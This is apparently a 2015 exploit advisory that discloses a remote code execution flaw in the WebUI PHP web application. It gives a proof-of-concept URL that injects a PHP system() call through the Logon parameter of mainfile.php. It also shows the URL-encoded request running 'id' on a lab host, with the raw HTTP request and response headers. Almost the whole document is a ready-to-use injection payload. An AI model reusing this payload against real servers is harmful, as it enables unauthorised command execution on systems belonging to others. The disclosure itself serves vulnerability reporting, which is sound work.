#[+] Author: TUNISIAN CYBER
#[+] Title:  WebUI Remote Code Execution Vulnerability
#[+] Date: 21-04-2015
#[+] Vendor: https://github.com/baram01/webui/
#[+] Type: WebAPP
#[+] Tested on: KaliLinux (Debian)
#[+] Twitter: @TCYB3R
#[+] Proof of concept: http://i.imgur.com/co9Qx0n.png
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p0c:

http://site/webui/mainfile.php?username=USER&password=PASSWORD&_login=1&Logon=';echo system('command');'

Live HTTP Header:
http://192.168.186.129/webui/mainfile.php?username=RCE&password=RCE&_login=1&Logon=%27;echo%20system(%27id%27);%27

GET /webui/mainfile.php?username=RCE&password=RCE&_login=1&Logon=%27;echo%20system(%27id%27);%27 HTTP/1.1
Host: 192.168.186.129
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.5.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive

HTTP/1.1 200 OK
Date: Wed, 22 Apr 2015 13:20:23 GMT
Server: Apache/2.2.22 (Debian)
X-Powered-By: PHP/5.4.39-0+deb7u2
Content-Encoding: gzip
Vary: Accept-Encoding
Content-Length: 51
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html